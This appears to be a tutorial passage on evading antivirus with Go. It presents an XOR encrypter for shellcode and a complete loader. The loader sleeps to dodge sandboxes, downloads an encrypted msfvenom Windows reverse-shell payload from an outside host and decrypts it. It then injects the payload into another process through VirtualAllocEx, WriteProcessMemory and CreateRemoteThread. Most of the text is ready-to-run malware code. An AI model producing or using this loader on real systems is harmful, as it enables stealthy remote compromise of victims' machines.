Another technique frequently used is to download an encrypted payload and decrypt it at runtime. There are various of ways of encrypting a payload. Some examples below:
Although these are probably better at encrypting our payload I found XOR encryption to be sufficient most times. Let's write a quick encryption code that takes our shellcode file as an argument and writes a copy of the encrypted file.
Encryption
main.go
package main
import (
"fmt"
"log"
"os"
)
func main() {
key := byte(0x9A)
if len(os.Args) < 2 {
fmt.Println("Usage: encrypt <path>")
os.Exit(1)
}
// Get the path from the command line argument
path := os.Args[1]
_, err := os.Stat(path)
if err != nil {
log.Fatalf("[FATAL] File %s doesn't exist", path)
}
fmt.Println("[+] Reading bytes of shellcode")
// Read the entire file into a byte slice
fileData, err := os.ReadFile(path)
if err != nil {
log.Fatalf("[FATAL] Error reading file:", err)
}
// Encrypt data and add to encryptedData
encryptedData := make([]byte, len(fileData))
fmt.Println("[+] Encrypting bytes of shellcode")
for i := 0; i < len(encryptedData); i++ {
encryptedData[i] = fileData[i] ^ key
}
fmt.Printf("[+] Writing encoded bytes at %s", path+"_ENC")
// Write encryptedData to file
os.WriteFile(path+"_ENC", encryptedData, 0644)
}
Lines 10 - 23: Check if the argument was passed to our program and if the file actually exists. If not the program terminates.
Lines 24-30: Reads the contents of the file in the 'fileData' byte slice
Lines 31-36: Creates a new byte slice called encryptedData, then loops through the contents of fileData and XORs them with the key provided on line 10 and adds the data in encryptedData.
Lines 37-39: Writes the contents of the encrytedData and outputs the file at the same directory with "_ENC" appended at the end of the filename
Decrypt
The same code can be reused in our shellcode injection code to decrypt the payload.
//Decrypt
fmt.Println("[+] Decrypting Encrypted Data")
key := byte(0x9A)
sc := make([]byte, len(encryptedData))
for i := 0; i < len(encryptedData); i++ {
sc[i] = encryptedData[i] ^ key
}
Complete Code
package main
import (
"fmt"
"io"
"log"
"net/http"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
func main() {
// Sleep for 10 seconds
var t0, t1 time.Time
fmt.Println("[+] Sleeping for 10 Seconds")
t0 = time.Now()
for {
t1 = time.Now()
diff := t1.Sub(t0)
if diff.Seconds() > 10 {
break
}
}
fmt.Println("[+] Woke Up ... Execution Continues")
pid := uint32(22040)
PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF
//msfvenom -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic
//encrypted payload using our go encrypter
fmt.Println("[+] Downloading Encrypted Data")
encryptedData, err := wget("http://192.168.217.128/shcode.malic_ENC")
if err != nil {
log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
}
//Decrypt
fmt.Println("[+] Decrypting Encrypted Data")
key := byte(0x9A)
sc := make([]byte, len(encryptedData))
for i := 0; i < len(encryptedData); i++ {
sc[i] = encryptedData[i] ^ key
}
fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
if err != nil {
log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
}
fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)
modKernel32 := syscall.NewLazyDLL("kernel32.dll")
procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")
addr, _, lastErr := procVirtualAllocEx.Call(
uintptr(pHandle),
uintptr(0),
uintptr(len(sc)),
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
uintptr(windows.PAGE_READWRITE))
if addr == 0 {
log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
}
fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
var numberOfBytesWritten uintptr
err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
if err != nil {
log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
}
fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc))
var oldProtect uint32
err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)
if err != nil {
log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
}
procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
var threadId uint32 = 0
tHandle, _, lastErr := procCreateRemoteThread.Call(
uintptr(pHandle),
uintptr(0),
uintptr(0),
addr,
uintptr(0),
uintptr(0),
uintptr(unsafe.Pointer(&threadId)),
)
if tHandle == 0 {
log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
}
fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
//windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
func wget(url string) ([]byte, error) {
resp, err := http.Get(url)
if err != nil {
return []byte{}, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return []byte{}, err
}
return body, nil
}